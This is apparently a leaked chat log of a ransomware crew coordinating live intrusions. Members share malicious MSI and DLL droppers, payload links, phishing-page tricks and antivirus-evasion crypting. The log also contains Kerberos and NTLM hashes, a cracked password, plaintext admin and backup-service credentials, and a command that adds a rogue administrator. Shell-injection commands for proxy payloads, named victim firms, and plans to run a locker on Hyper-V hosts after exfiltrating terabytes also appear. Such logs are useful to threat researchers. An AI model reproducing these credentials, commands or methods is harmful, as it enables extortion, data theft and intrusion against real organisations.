da

tolko vchera xrenogo vishlo

kakoy to kasyak bil

razrulil

water ne vishlo nayti tochku vixoda ?

nu ya erori raznie razbrosal po vsemu phph skriptu chtob ponyat' gde kasyak) tak tolko smog nayti proglemu)

* nu ya erorri raznie razbrosal po vsemu php skriptu chtob ponyat' gde kasyak) tak tolko smog nayti proglemu)

* nu ya erorri raznie razbrosal po vsemu php skriptu chtob ponyat' gde kasyak) tak tolko smog nayti problemu)

esho pro peco foods est' novosti ?

tam esho bizi dizayneti

* tam esho bizi dizayneri

после меня скидывал?

после того как я написал

я тогда скажу чтобы брейву перевел

понял

leonardsexpress.com - сделаете в первую очередь блог? пока они на крючке

kruto

oo super

http://temp.sh/BlYeX/lp1206.zip

pass Jghjsdf234

to es't eto ne ves set' a chast' ?

> рантайм смотри на тачке всегда это все шляпа

или просто с дефом

* to est' eto ne ves set' a chast' ?

yasno

ok nu norm

yasno

`$krb5tgs$23$*svcrzgvcitrix$Schulen.RKN$Norskale/BrokerService@Schulen.RKN*$AB6DFFED2B3E6A13B05085248D5E0986$F753BB835016B8E219F09A90EB2B58190732FA5A01259F3E9E4C946579883B95AD162138B65E487EBB575065523CD7442E1215F7E3A3A991BD02F548A761597BD30AB6BF277F942BFABF526F1315DD3CFE7E76C2CBC11BC43C153B3E43A939FBB3B974AF6F02C014EAEC2A0774FF3294DDBAFFF7B0F21211EB3A512AC0ED3DD55C054E45C63B6D30687ECFEAE3AF22750CD74AFED2F703A529CA663B25D14C52414F153D4FECC4AAF3A5CD287B3D88AB629686DA2F2CC1A2051973925EE517BBDCC1DC21FB17291E6040D75361058F85419A58C274A5CD9E645AD81334DC983AC2A959EEF4A7AEEBEBFCA0F3A9A6F454D1B520DD1C342919C88CE089F9D9F7589B4DD1AF597DBFE628886A390D137FDAF45D3A51F1A6E3CE61D2FEEB4009C23D092FF4C5D0BA7504D73D383DE014BB05C096710D6044C54686F7146032B13760B997E01A3D50D598976708AE5B4C32FD66C001B44698BC9936C3D22B9FDFF4D3B8C3AE4309F46EB5C691499AE4C90DCCDC7A6FEFC3B6413D70529AA1AFA58074D37B63CBA4AED30E4EB35B96D1BEC1294786D80433A457BC0F91B0B07E56DAA1116710ABAA60A3F9C70AE80565880672C2FC7BDB18E88C23D17EF9FA0BC9D5BD505FB0DDC722CAC103999607B40728865CB3629B58C576CC0A9C996205445CA36FB0A8A638C1A0A4ECBB233A800F7A77501F2A134C18A936937798AFBD656AE16511351B2CE80AE2E4B87C9CC441BA0C273572816ED398B5E9088DF9590F7AFB029865D0B245D487FF747032B499582382CEDF49AFD8B85D9CA6A67A92AE5A41CFAD7F1A08658C67D523761BCB4865D4EF7194FC6570C4A275B0E2E757995E3A18FE723B5742DE6A259D4BA54FE3A62A5478A2968C715026B6ACE855084F282254A9958B137944DAA80746997B04C7B28DCC3B601E72F658EB60C329AF07A7894CBA383F42DE790C4950B4FA2E25B6B5C9263E92336796977D2681A4FE054CCCAA52A590C31F2777F618292A0FA06461BA0B9641086314ACD186D9825368A1F5274E02111E4C90DADABF3A3E36A4246EE36C8C7BB4228C83657A0A05A73C83D9B2C89AB86F3A49EAD4C9C8B1DAC5CCEDA822E874AFD0D4915A914018F0E4FA3EA5D5411EB2B73BD2D5D6C6E2A68A1554039F1EC304B7804494BA7CCA381902BCF6439032F2BDE30319A33F06EE304EDEC121264AAA12CAFA50F0F820A70F1CBBF89099373F39A3E50853799ECFCC67717346786D0F8086ED0E9C70B030BB4B2836F6CE148CD95F11D1D01AFEEF28A692F71B08F905712655BE9FE6A916ECD6226D82FE446BC7069B68419E426490453F49BDDDBA12BFCF502BC1BE736C877F82FA5DDEC33E9D91AB5B20B620A4F9E06FF27B3B8DE19222F6AB196883C4D4E07FFA0FD2284B72167421FD4D9E973BAB2E446589355653BE99BE1FE8EBC7A8BA07BE350E5F2E8867CFE0EDE42B935258704BDAE9E02DBFD2763C8727424CCCF04BAA0A27A8AB5E03C0074A47969326DC4EE1F49B978BBFEEBE2C58828B9327EDCADAF86B97B987E35C6F17449230C26FE544F7D7F570BDD813273E512A7AD3754CF056F3EFB9AE15C86B39091E945681AEAD33490BBCB715B53998E0E4A02200278987D6F7219BC613B6359FBA464F1779C7649BA6DA65EDCF11905B982CFAD82FE69F729E993432F652C56842968AA39306B455524954F752C8F347C13C310E0D8D88991693FC0698DBBC8966A87C6F2D8D7B61B032A1F5979700FD777C9D72E8`

с дефом тестим на разных тачках - гуд

ок, скоро сгенерю 2к файлов

хотя погодите

какие 2 к файлов

мне же еще msi подписать нужно будет

потому что у меня смарт скрин там

вылетает

200 пусть сделает

да, вот жду пока домены оживут , разводку зальем на них и юсу прошлем

биток висит весь день

ща подпишу msi и проверю

chto to vishlo opredelit'?

смотрим

еще немного времени нужно

чет у меня вакатак на msi

ща попробую подпись другую

чисто

в общем жду как соберет 200 штук

9. TEACHCO ++ 500/1300 - ВЫШЛИ В ЧАТ !!!!!

последние на данный момент перекачались на прокладку

продублирую весь список на всякий

=======================================================================================

+

слух, а ты у кого щас криптуешся?

ляпису можеш стукнуть?

> <@usernameyy:matrix.bestflowers247.online> 83.242.96.30

соксы есть

я вчера еще проливал

чтобы меня добавил marcopolo@blah.im

скоро уже простанова, уже NN пишет, надо билдеры поднять

> <@usernamegg:matrix.bestflowers247.online> а на что это ?

> <@usernamett:matrix.bestflowers247.online> ```

да я взял последний, не палит

чисто

3 раза проверил

буду проливать сегодня туда вайты

сегодня, завтра

сегодня по плану с ботом разобраться полностью и MSI

чтобы на выдачу что было поставить

сегодня вечером, завтра заниматься именно запуском трафика

html я сделал

там вшит мой линк в js скрипт

ну когда открываешь html там обманка и будет скачивание с линка происходить

html_65707e126a2304.33282291.html

вот пример

> <@usernamegg:matrix.bestflowers247.online> просто их продливать нужно

привет! как дела? новостей нет когда загрузки будут?

понял

> <@usernamemm:matrix.bestflowers247.online> ++

+

> <@usernamemm:matrix.bestflowers247.online> ушла в офф, как появится онлайн дай знать

> <@cameron777:matrix.org> on online

> <@usernamemm:matrix.bestflowers247.online> ++

кароче деф чисто на запуске это детектить, когда бот в системе уже, эти команды нормально вызываются и добавляются в списках у нас

ни шел ни фтп

+

хватит нам этого для теста

может еще идти нифига не будет

скачивается, пишет еще 2 минуты

> <@usernamegg:matrix.bestflowers247.online> мы можем опрашивать уже когда бот у нас в системе и не будет дохнуть бот ?

там кнопки внизу

сейчас вот тестил это

но я все равно сделаю это автоматом, чтобы бот постучал и потом через пару стуков все само подтянуло

чтобы вы не нажимали по 300 раз эти кнопки, а то запара будет

но все равно если что домен будет нормально показываться

ну тачка в домене и ли нет, это сразу будет показываться

эти данные на опредление домена никак не влияют

запустился

shas cheknu

navitaspet.com

500 потоков поставил

с сокс ботом я не могу больше ставить

ждем пока

да, окей

шлю по всем компаниям юсы и канады

по новым письмам по сути

сначало

knscpa.com

я все скидывал, но по отдельности. Решил продублировать весь список чтобы путаницы не было

нагрузка чистая в итоге получилась?

что слать будете?

ага спасиб

а можешь еще бурито токс попросить?

> <@usernamemm:matrix.bestflowers247.online> ни шел ни фтп

Screenshot 2023-12-06 070320.png

Screenshot 2023-12-06 070343.png

zashel tolko chto

эээ

не то

исправил до этого

не того подписад

сек

> <@cameron777:matrix.org> Bot ID D4MP5MH3_JCoffey_6140CB8B

сорян

da on v offe

21к писем ушло

gopropasta.com

с юсы есть 6 чистых скачиваний

давай

login citrixa gopropasta.com

> <@cameron777:matrix.org> login citrixa gopropasta.com

мне пришла ебанутая идея как узнать

каким образом он заражает таргеты

но для этого надо дамп тачки полный с центра будет))

той которая пришла ему

> United States [US]-------------- 12 0 0%

ну скачиваний особо нет

image.png

слух. Есть у меня еще один потенциально нормальный поставщик, но тоже просит субучетку. Сможешь сделать такую же только для чтения еще одну?

а мелкор же проверял на отстук?

> United States [US]-------------- 23 0 0%

один бы уже запустил думаю

> <@usernamemm:matrix.bestflowers247.online> он!!!!

Bot ID SFB-DC1-CX09V_anelson_6303EAB2

> United States [US]-------------- 50 0 0%

есть скачивания, но чет никого

это чистые виндовые скачивания

договорились, буду скидывать по понедельникам кого куда

70k ушло

перезапустил еще и по воркгруппам

хочу посмотреть придет ли кто

имя учетки - asys6887c

как?

внутри сетки дамп тачки сделать и все

> <@usernamegg:matrix.bestflowers247.online> ты там вообще сидеть нормально не можешь хочешь узнать как он добывает /)

f1f73400-b0cf-4518-a24f-689569c9d2e9

'nb nelf

эти туда

а так похуй, если заниматься конкретно добычей таргетов можно что то придумать просто этим заниматься нужно и прям только этим нужно заниматься и пробовать и идеи воплощать в реальность и кодеров ебать паралельно держа поводок на нужном давлении))

да, с длкой все окей

net

ну тебе понятно что больше интересно, у меня просто мимолетный интерес прошел и идея в голову пришла

vhcera bilo malo

segodnya snova poshlo

shas budut esho

запускал на разных машинах

должно все окей работать

> <@usernamegg:matrix.bestflowers247.online> navitaspet.com - да

до 100к шлю и стопаю

странно, вообще никого

boti prixodyat no mnogo medov i univerov tam est'

* boti prixodyat no mnogo medov i univerov

щас еще раз перепроверю все

бурито

бентли тут подвис, код перписывает

https://citrix.navitaspet.com

о круть, матрикс

спасибо

kto bral ego

shas posmotru

ну у меня он в токсе

JJ bral

ок

скоро прошлю просто msi

v rabote on

но там фильтра не будет

думаю ее оч быстро спалят

даже

mogu bota dat' esli chto

pod nix

ща еще линками прошлю чисто

Screenshot 2023-12-06 074546.png

dazhe domen pinguaetsya

esli chto mogu dat' bota

ok

да, все четко запускается

вот проверил сечйас

запустился

2 раза запустил

> <@cameron777:matrix.org> knscpa.com

vrode zaxodyat no ne pishut?

+

157 => 'https://hed.gkp.pk/eo/'

но вас может заблочить adspect

щас посмотрим

183.83.233.68 один с индии стукнул

image.png

сетка 6.9 М

183.83.233.68

вот какой то отстучал

там пингуется траст в скрине насколько вижу

`ping peles.local`

> <@usernamegg:matrix.bestflowers247.online> sent a file.

2.7z

Строка:

W5n65>!@=6=VJS}/1}CGj918ZGsxlPYzk3mu8B0Slaj9R7TkcF^4D

http://www.studiogc.com/

если бы мы винду ломали, то может пинг бы и не проходил, а так да, работает стучит себе дальше

+

+

он у вас есть в списке скачаных

> <@usernamegg:matrix.bestflowers247.online> msi в итоге линками лучше слать

?

> <@cameron777:matrix.org> ====================================

yasno

> <@usernamegg:matrix.bestflowers247.online> 183.83.233.68 - он у нас есть в списке скачиваний ?

ну я линками пока чисто по канаде пустил

http://temp.sh/xxBsB/bn1206.zip pass 868d87623874

дллка от бена

расркученап она

6 м

`GCARCH | cameron777 | 8 SERVERS | VMware ESXi/vCenter | 6-10M | cob24, cob6dns | JJ | StudioGC Architecture, United States | www.studiogc.com | Malwarebytes, MS Defender | DW | NAME LOCKER | DATE LOCK | Architecture, Engineering & Design`

даты нет на серверах

+

https://www.zoominfo.com/c/c-gielisch-gmbh/443316482

interesno ?

bot ne stuchit

shas mogu otkrit' citrix

давай

> <@cameron777:matrix.org> https://www.zoominfo.com/c/c-gielisch-gmbh/443316482

1712

13.40.155.112

zaxodi

++

> Canada [CA]--------------------- 44 ни одной канады

зайди еще

выбило почему-то

ну может еще потому, что это ляпис

у него слабый отстук

с citrixa

стопнул пока

жду бена файлы

сижу да

1. Graebener ++ - ВЫШЛИ В ЧАТ !!!!! ++++

чекаю )

8. parkholidays ++

75164e90f503d9440ea720e324017191

menya tozhe

zakrep ne poluchilos zapustit' ?

?

idut installi skoro budet

+

только зашел и сразу выбило, не успел ничего

поставил на выдачу и запустился

про проверю

+

чисто

> <@usernamegg:matrix.bestflowers247.online> какой закреп ?

да, окей

скину тогда скоро тебе

щас все проверяю еще раз

и щас еще новые IP поставлю

пусть мелкор еще проверит msi

пару сек

это что?

запустил первый файл

запустилось

чисто

+

стучит

dsiamerica.com

> United States [US]-------------- 150 4 3%

* dsiamerica.com

щас новые билды еще сделаю конечно

короч не много скачиваний

> <@usernamegg:matrix.bestflowers247.online> как тебе фаил ?

сек

смотрю

канада вообще не стукнуло ни одной

айпика реверсер пок аодин, пож на него

запускать не могут что-ль

* айпика реверсер пок аодин, похож на него

segodnya den' MEDov i GOVov

ну да

* segodnya den' MEDov i GOVov

завтра еще посмотрим как европа будет идти

я вообще уже хз что с юсой

скоро скину тебе билд

щас инфру новую поставлю

чтобы свежие IP на завтра были

да

говорю же

щас инфру поставлю

и сделаю длку тебе со свежей инфрой

Date US CORP SMALL US CORP BIG US NOT CORP EU CORP BIG EU CORP SMALL EU NOT CORP

ну вот короч видно, что больше всего тупо европы выкачивается

особенно не корпов

а с трафа нормально прилетает?

```

ну и нужно учитывать, что это не идеальне письма, а еще и спам там может быть

> <@usernamemm:matrix.bestflowers247.online> ```

и не приходил

US CORP BIG это те, которые вам интерсны

и вот получается за 7 месяцев, было выкачено грубо 80к писем

херня

ну это 80к писем, на которые проще всего нам достпавить письма

> United States [US]-------------- 162 4 2%

стопну, ни одной канады

бред какой-то

200k ушло

yasno

вроде все. посмотрим завтра будет ли европа норм запускать msi

офнусь. до завтра

да, с манджарой воевал, лан кабель не видел

Bot ID PGECITRIXSH4_bdc_63442A49

eto new ?

uhu

ok beru

> <@cameron777:matrix.org> Bot ID PGECITRIXSH4_bdc_63442A49

bil on davno no ushel togda ne uspeli nechego zdelat'

7dns_payload_x86.bin

обойти Windows Defender и Malwarebytes

* обойти Windows Defender и Malwarebytes Agent Server 20.1.000

muaddib6: burrito

https://www.zoominfo.com/c/bath-group-inc/29511555

interesno ?

bot eto

да

Bot ID USER_lcastro_65691106

> <@cameron777:matrix.org> Bot ID USER_lcastro_65691106

> <@usernamevv:matrix.bestflowers247.online> sent a file.

internal.PennGeneralEnergy.com_rub.txt

> <@usernameyy:matrix.bestflowers247.online> sent a file.

это что?

если консоль то рдп, если команда, то можно и через кобу

команду как правильно сделать ?

```

> <@usernameyy:matrix.bestflowers247.online> если просто запустить - откроется консоль, чтобы вписать команду:

cameron777: !

tak ?

ok

а я вам не кидал что ли?

image.png

кидал

`[12/06 13:43:37] [-] could not spawn search.exe -c "net user zxcvbnm1 Passw0rd! /add && net localgroup Administrators zxcvbnm1 /add": 225 - Unknown error code`

chto tam ne podklyuchen k domenu ili chto ?

а ты exe подгрузил?

`The system cannot execute the specified program.`

> <@usernameyy:matrix.bestflowers247.online> кидал

> <@usernameyy:matrix.bestflowers247.online> а ты exe подгрузил?

это реверсер)

сожрало

225 ошибка

мм

его палит

уже 2-ой раз так у меня

* это реверсер) или что то другое

в автокрипте можешь зашифровать его ? в ехе

VV: скинь в крипт

аа бля автокрипт то

он для кобы же и мсф

они криптуют

криптовать можно

с бина или сразу ехе криптовать ?

у меня ж нет исходников

exe, шеллкода от него нет

так а WER мне криптанули же

```

и отрабатывает криптованный

там даже фикса не стоит судя по тому, что вижу

* ```

> <@usernamevv:matrix.bestflowers247.online> там даже фикса не стоит судя по тому, что вижу

aa

yy: VV У меня криптованный WER отрабатывал(если вы не прочитали))

я прочитал)

WER это что ?

уязвимость с переполнением диска

> <@usernamevv:matrix.bestflowers247.online> WER это что ?

g_cl.exe ?

или что там

у меня нету WER

нет, другая

сейчас тегну

WER_Research_07062023.exe

оно ?

судя по названию да

а как он работает ?

sakura_u.exe

sakura_u_unc.exe

это создание юзера

не крниптованный

sakura_1.exe

юзай те что сс скинул

sha

какие креды он создает ?

это запуск 1.exe

> <@usernamess:matrix.bestflowers247.online> это запуск 1.exe

> <@usernamess:matrix.bestflowers247.online> это запуск 1.exe

ты уверен что там не c:\users\public?

dropper_GG13TH_f0adda360d2b4ccda11468e026526576_918g1sK.zip

PASS: 187d5f942ab7a7890150adc5b7b56220

* PASS: 187d5f942ab7a7890150adc5b7b56220

билд проверил, все чисто

у ляписа его крпитанул если что

OneCliv.dll

Вот длка от ляписа

проверил ее на чистоту именно дропа

нормально все

ну и запустилось все четко

и отстучало

лучше запуск 1.exe сделай)

потому что может не на англ винде не срабоать

> <@usernameyy:matrix.bestflowers247.online> ??

сам делал что ли?

> <@cameron777:matrix.org> 20000 chrome Mail - Luis Castro - Outlook - Google Chrome

ты сделал)

vnc tozhe est'

brouzeri otkrivayutsya

mogu dat'

не

+

я делал public, там после ошибки запускается exe не по тому пути, что изначальон

Если что 17 IP на инфре стоит, все четко

ты сначала запуск сделал потом сделал добавление юзера

не получится сделать из той же папки, откуда запуск

14 IP сто проц чистых

нужно абсолютный указывать

14 новых учавствуют в новых ботах

по моему там путь потом system32 после уязвимости

image.png

sakura_1.exe - сожрало

видимо произошло недопонимание)

> <@usernamevv:matrix.bestflowers247.online> ```

x64 только

ok

search.exe

криптануть можете EXE ?

или бин нужен

* криптануть можете EXE ? x64

`bdc::PGEW2K:1122334455667788:e2d8c818a89497b685e08fd2c00e72d2:0101000000000000ddf0590a7728da0191e730c199aa011f00000000080030003000000000000000000000000020000005c6f24ed50939e0ea071be614669bcd57a9038c6dc5eefea5c97712bf23ac600a00100000000000000000000000000000000000090000000000000000000000`

BDC::PGEW2K:1122334455667788:e2d8c818a89497b685e08fd2c00e72d2:0101000000000000ddf0590a7728da0191e730c199aa011f00000000080030003000000000000000000000000020000005c6f24ed50939e0ea071be614669bcd57a9038c6dc5eefea5c97712bf23ac600a00100000000000000000000000000000000000090000000000000000000000:Trapstar1990!

++

> <@cameron777:matrix.org> Bot ID PGECITRIXSH4_bdc_63442A49

shas posmotryu

ushel..

https://www.zoominfo.com/c/stackpole-international/259244168

bot

probil po IPu

216.208.228.157 Stackpole Limited

у меня инет моросит

VV

> <@cameron777:matrix.org> ushel..

да беру

> <@cameron777:matrix.org> https://www.zoominfo.com/c/stackpole-international/259244168

у вас тоже инет лагает ?

> <@usernamevv:matrix.bestflowers247.online> у вас тоже инет лагает ?

> <@usernamess:matrix.bestflowers247.online> ага, дабл голову ебет. Я файл заливаю и все отлетает

у WW точно так же. Он когда кобы делает - отлетает

++

image.png

Реверсер, или около того

DNS паблик ну

> <@cameron777:matrix.org> https://www.zoominfo.com/c/stackpole-international/259244168

> <@usernamevv:matrix.bestflowers247.online> pozvat' poka ne mogu ego, zavtra skin' ego eshe raz

knscpa.com < oni napisali ? )

net, faili jret

crypt nujen xoroshiy

yasno.. ploxo

nu sophos tam

$$ poprobuet sha pozvat eshe

там фтп рубануло

> <@usernamess:matrix.bestflowers247.online> sent an image.

> <@usernamess:matrix.bestflowers247.online> там фтп рубануло

> <@cameron777:matrix.org> etot ne ochen ponyal , mozhet proskanit' setku i budet vidno

spalili otklyuchili

> <@usernamess:matrix.bestflowers247.online> я не буду этого бота звать в кобу

> <@usernamess:matrix.bestflowers247.online> я не буду этого бота звать в кобу

> <@usernamess:matrix.bestflowers247.online> sent an image.

* ego voobshem bolshe ne budete smotret'?

nu ne znayu vam vidnee

no on sidit v emailax kakix to)

obichni vrode

там в папке юзерс кроме него еще user123 =_=

Я в офф уже, завтра буду на связи с утра

Завтра рано утром постораюсь быть

к 10 по МСК думаю буду

До завтра

я тут, длл ок?

надо поправить под дллку криптор

окей, я позову его

image.png

snimki prishli ottuda

navernoe nado bilo chutka podozhdat'

nadeyus vernyotsya

image.png

admin tam vrode

Bot ID C1000416-VDA1_plor_5DCAD8E5

> <@cameron777:matrix.org> sent an image.

tot chto zdox

Bot ID D4MP5MH3_JCoffey_6140CB8B

> <@cameron777:matrix.org> Bot ID D4MP5MH3_JCoffey_6140CB8B

* shell не работает

> <@cameron777:matrix.org> Bot ID D4MP5MH3_JCoffey_6140CB8B

online on

ок

уменя пока апдейт, позже только

ok

66.42.98.90:38273 FIZ

HALLIDAYSCNS_c.dll

CentraStage

```

*

*

вопрос

ClusterStorage у вас тоже пустая папка была после запуска лока ?

на Hyper-V

это sql может быть

илил у вас полная была?

ща запустим еще на одной посмотрю

так была полная или пустая

бывают попки по дефолту создаются на sql

скорее всего изначально была пустой. часто при разборе встречаю пустые ClusterStorage$ папки., фигня все эт..

щас просто даже не посмотреть тачки, сервайс хайпер-в полностью откис после запуска локера

192.168.0.52

у нас соксы отъебывает после запуска локера

* у нас соксы отъебывают после запуска локера

yy: щас их тоже стопает после запуска ? 2 раза получилось так

скорее всего локер убивает процесс сокса. вам надо называть процесс сокса именем сетки чтобы он не убивался

* скорее всего локер убивает процесс сокса. вам надо называть процесс сокса именем локера чтобы он не убивался

понимаю, ну буду теперь в курсе

у нас была проблема сегодня такая на большой сетке

я ХХ писал он вкурсе

> <@usernamecc:matrix.bestflowers247.online> я ХХ писал он вкурсе

если новые билды то такого не будет я так понимаю..

а если название условно HALLIDAYSCNS_c.exe ?

а не HALLIDAYSCNS.exe

криптованный файл будет стопать запуск ? что-то не понимаю

> <@usernamevv:matrix.bestflowers247.online> а если название условно HALLIDAYSCNS_c.exe ?

ну т.е. файл обычного лока будет стопать криптованный или нет ?

HALLIDAYSCNS.exe - VS - HALLIDAYSCNS_c.exe

хочется аудио записать

))))

🫠

я вот объясняю выше )

что название то другое

_c добавляется условно

и будет ли он этот файл за свой воспринимать, если название отличается от обычного ЕХЕ не криптованного

допиливаю дллку, скину

это да, так и сделали

ХХ понял это

но почему сокс то откисает)

все файлы за стоп которых боитесь называйте названием запускаемового файла! я так понимаю у вас hyper-v - значит запускаете .exe. называйте так же как и сам локеер. у меня так сегодня отработало.

`shspawn x64 /home/work/Desktop/socks5/HALLIDAYSCNS.bin`

так называть надо было ?

только придется раскидать по папкамю ибо файлы с одинм и тем же названием в одну папку не закинешь

у нас ЕХЕ не было, в кобу инжектили сокс

oni napisali vrode v privat

блин он же спавнится с каким то другим процессом..

22 minut nazad

> <@usernamecc:matrix.bestflowers247.online> блин он же спавнится с каким то другим процессом..

мы думаем что у вас ав режет соксы

допустим getmac.exe

делаю

прочитал только что

ебемся с выкачками

пару мин

> <@usernamecc:matrix.bestflowers247.online> мы думаем что у вас ав режет соксы

значит нам нужно ЕХЕ постоянно делать под название сетки для сокса

и так он не будет трогать

это да

> <@usernamevv:matrix.bestflowers247.online> значит нам нужно ЕХЕ постоянно делать под название сетки для сокса

трее снял выкачивается долго инет тугой вхлам

как залью скину

image.png

> <@usernamevv:matrix.bestflowers247.online> `shspawn x64 /home/work/Desktop/socks5/HALLIDAYSCNS.bin`

image.png

image.png

в итоге на компе, куда приджонен кластер - лочит

> <@usernamegg:matrix.bestflowers247.online> расркученап она

* GCARCH tozhe netu v paneli

так это линка как шары делаются

> <@usernamegg:matrix.bestflowers247.online> knscpa.com - трее сделай по ним

да, тока папки пустые везде были кроме 1 хоста хайпер-в

раньше часто попадались папки кластера на всех хайпер-в и со всех сторон его лочило, тут с 1 компа

```

одна сетка лучше ожиданий полный фтп выкачался на 1.2тб

* ```

с другой ебемся. там режет сколько то дает вывкачать с однйо такчи и лочится вообще все. 300 гиг скачивается потом обрыв и с нее уже ничего не скачать. сейчас на другую перешли.. но качает так се.. но как не крути уже около 300 гиг

> <@usernamegg:matrix.bestflowers247.online> съездили покурить ) и под завязку фтп

да они обе не мелкие так то.. более менее норм) средняя и большая так скажем

постараемся выдернуть побольше но мы уже шалудим

шалим шалудим

она просто иначе отъебнет. первоначально с которой тачки было поставлено качать все ушло в отъеб и даже креды. пришлось восстанавливаться. звали все заново чтобы перепоставить. сейчас даст сколько то еще качнуть

us_80.bin

eu_80.bin

`shinject 11184 x64 /home/worker23/Desktop/Socks5/NEW_socks/eu_80.bin`

51.89.62.202:45081

по ММ

ADL-CITSESS-29

> <@usernamegg:matrix.bestflowers247.online> на 1.2тб ?

с ней как раз проблемы

там 86 hymer-V хостов

нее она изначально была проблемной

пока ебемся еще скачаем сколько то

уже 350гиг

на момент как с самого начала тебе писал я округяглял было 295.

да там с которой тачки изначально была выкачка уже с нее не выкачивается.

51.89.62.202:35665

ADL-CITSESS-29 non strop

image.png

> <@usernamegg:matrix.bestflowers247.online> sent an image.

фартануло )

все под ним все норм

реплика каких то серваков! у кого то в хайпер вви могут быть эти же тачки только включены. их все равно надо лочить! это типа резервные тачки наслучай если перестанут работать основные vm

лучне не заходи

чтоб панику не наводить

или подписывай

меня выбило

еще много кластеров может быть! если кого то выбиваем то говорите! может быть много кластеров!

сами себя выбиваем

51.89.62.202:43767

51.89.62.202:46671

DW:391gb

> <@usernamegg:matrix.bestflowers247.online> sent an image.

> <@usernamegg:matrix.bestflowers247.online> сами

51.89.62.202:38421

есть время тестануть? я запущу на деде

надо максимально одновременно стопнуть тачки на сколь возможно и шары запустить.

бэков нет

у нас минут 40 где то есть

пока не выпилятэ

51.89.62.202:35771

эта сетка один из последних босов на хардкорном уровне сложности)

)))))))))

> <@usernamegg:matrix.bestflowers247.online> WW:

410Gb

я не буду стопать

пусть качается до талого

```

```

```

скину тогда

```

8ac724eab2e39ba677927ea584339f7f

434G

51.89.62.202:43767

CloseNow

```

TRANSBUSINT\DutfieldD-ADM mUxS$8fMRNA3_#dpHEA-m-g4E

`ADL-CITH-08.TransBusInt.com 10.120.14.18 Windows Server 2019 Standard ????? Hyper-V ????? CCC w22`

`service.veeam Passw0rd_123_PASS`

`C:\users\public\TRANSBUSINT_c.exe c:\windows\shares.txt c:\Windows\TRANSBUSINT_c.exe`

`C:\users\public\TRANSBUSINT_c.exe c:\users\public\shares.txt c:\users\public\TRANSBUSINT_c.exe`

http://temp.sh/LFeDA/vnc.zip

search.ex

> <@usernamevv:matrix.bestflowers247.online> search.exe

> <@usernamevv:matrix.bestflowers247.online> yy: щас их тоже стопает после запуска ? 2 раза получилось так

> <@usernamevv:matrix.bestflowers247.online> _c добавляется условно

> <@usernameyy:matrix.bestflowers247.online> я давал вайтлист процессов, в эти процессы инжектите

доброе!

Доброе утро! Там собрали msi для европы?

> <@usernamegg:matrix.bestflowers247.online> ZZ

> <@usernamegg:matrix.bestflowers247.online> до скольки ребята сидели ?